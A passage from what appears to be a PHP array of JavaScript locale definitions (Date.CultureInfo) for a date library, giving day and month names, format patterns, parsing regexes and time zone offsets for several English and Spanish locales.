yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-PH' => 'Date.CultureInfo={name:"en-PH",englishName:"English (Republic of the Philippines)",nativeName:"English (Philippines)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"mdy",formatPatterns:{shortDate:"M/d/yyyy",longDate:"dddd, MMMM dd, yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, MMMM dd, yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-TT' => 'Date.CultureInfo={name:"en-TT",englishName:"English (Trinidad and Tobago)",nativeName:"English (Trinidad y Tobago)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd MMMM yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-US' => 'Date.CultureInfo={name:"en-US",englishName:"English (United States)",nativeName:"English (United States)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"mdy",formatPatterns:{shortDate:"M/d/yyyy",longDate:"dddd, MMMM dd, yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, MMMM dd, yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-ZA' => 'Date.CultureInfo={name:"en-ZA",englishName:"English (South Africa)",nativeName:"English (South Africa)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"dd MMMM yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'en-ZW' => 'Date.CultureInfo={name:"en-ZW",englishName:"English (Zimbabwe)",nativeName:"English (Zimbabwe)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"mdy",formatPatterns:{shortDate:"M/d/yyyy",longDate:"dddd, MMMM dd, yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, MMMM dd, yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-AR' => 'Date.CultureInfo={name:"es-AR",englishName:"Spanish (Argentina)",nativeName:"Español (Argentina)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-BO' => 'Date.CultureInfo={name:"es-BO",englishName:"Spanish (Bolivia)",nativeName:"Español (Bolivia)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-CL' => 'Date.CultureInfo={name:"es-CL",englishName:"Spanish (Chile)",nativeName:"Español (Chile)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"",pmDesignator:"",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-CO' => 'Date.CultureInfo={name:"es-CO",englishName:"Spanish (Colombia)",nativeName:"Español (Colombia)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de \'yyyy"},regexPatterns:{jan:/^ene(ro)?/i,feb:/^feb(rero)?/i,mar:/^mar(zo)?/i,apr:/^abr(il)?/i,may:/^may(o)?/i,jun:/^jun(io)?/i,jul:/^jul(io)?/i,aug:/^ago(sto)?/i,sep:/^sep(tiembre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(iembre)?/i,dec:/^dic(iembre)?/i,sun:/^do(m(ingo)?)?/i,mon:/^lu(n(es)?)?/i,tue:/^ma(r(tes)?)?/i,wed:/^mi(é(rcoles)?)?/i,thu:/^ju(e(ves)?)?/i,fri:/^vi(e(rnes)?)?/i,sat:/^sá(b(ado)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'es-CR' => 'Date.CultureInfo={name:"es-CR",englishName:"Spanish (Costa Rica)",nativeName:"Español (Costa Rica)",dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],abbreviatedDayNames:["dom","lun","mar","mié","jue","vie","sáb"],shortestDayNames:["do","lu","ma","mi","ju","vi","sá"],firstLetterDayNames:["d","l","m","m","j","v","s"],monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],abbreviatedMonthNames:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, dd\' de \'MMMM\' de \'yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dddd, dd\' de \'MMMM\' de \'yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' de 